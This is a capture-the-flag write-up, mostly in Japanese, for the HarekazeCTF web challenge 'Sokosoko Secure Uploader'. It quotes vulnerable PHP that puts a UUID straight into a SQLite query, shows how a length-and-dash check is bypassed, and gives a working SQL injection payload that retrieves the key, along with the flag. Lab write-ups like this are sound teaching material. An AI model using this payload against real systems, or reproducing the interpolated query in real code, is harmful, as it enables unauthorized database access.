Tags: sqli web 

Rating:

# ▼▼▼Sokosoko Secure Uploader(web:100)57/447=12.8%▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

Description
このサービス(http://problem.harekaze.com:10002/)を使ってファイルを暗号化しました。暗号化後のファイルを添付しましたが、UUID は誤って削除してしまいました。覚えているのは、この UUID が 9e5a から始まることだけです :(

I encrypted my file by using this service. Attachment is the encrypted file, but I accidentally deleted the UUID of the file. All I remember is the UUID starts with 9e5a :(

・flag.png.encrypted

・src.zip(ソースコード)

---

**1.機能の把握**

・Encryption

Sorry, this function is disabled.(無効化されている)

・Decryption

 UUID入力と暗号ファイル送信する機能

---

**1.ソースコードを読んでいく**

decrypt.phpを確認する。

```
10000) {
die('uploaded file is too large');
}

if (!isset($_POST['uuid']) || empty($_POST['uuid'])) {
die('no UUID was provided');
}

$uuid = $_POST['uuid'];
if (!is_string($uuid) || !is_uuid($uuid)) {
die('invalid UUID');
}

$data = file_get_contents($_FILES['file']['tmp_name']);

$pdo = new PDO('sqlite:key.db');
$stmt = $pdo->query("SELECT key FROM decryption_key WHERE id = '$uuid'");
$res = $stmt->fetch();

if ($res === false) {
die('key not found');
}

$filename = basename($_FILES['file']['name'], '.encrypted');
$decrypted = arcfour($data, $res['key']);
header('Content-Disposition: attachment; filename="' . $filename . '";');
header('Content-Length: ' . strlen($decrypted));
header('Content-Type: application/force-download');
echo $decrypted;
```

```
$stmt = $pdo->query("SELECT key FROM decryption_key WHERE id = '$uuid'");
```

入力値である、uuidでSQLインジェクション可能。

---

SQL文に挿入される前に、下記でuuidのバリデーションチェックがなされる。

```
$uuid = $_POST['uuid'];
if (!is_string($uuid) || !is_uuid($uuid)) {
die('invalid UUID');
}
```

UUIDは文字であること。UUIDのフォーマットに沿っていること。

---

そのUUIDのフォーマットはfunctions.phpを確認すると下記になる。

functions.php

```
function is_uuid($str) {
if (strlen($str) !== 36) {
return false;
}
if ($str[8] !== '-' or $str[13] !== '-' or $str[18] !== '-' or $str[23] !== '-') {
return false;
}
return true;
}
```


下記のように`-`の位置が合っていればチェックを抜けられる。

`xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx`

---

フォーマットに沿ってSQLインジェクションすればよい。

UUIDの始めの文字は`9e5a`として与えられるので、そのUUIDをSQLインジェクションで取得できればよい。

uuid=`'or id/*----------------*/LIKE'9e5a%`

---

これを暗号化されたファイルと共に、サーバに送信すると暗号解読されたpng画像が得られる。

`HarekazeCTF{k41k4n_j1kk4n_j1n615uk4n}`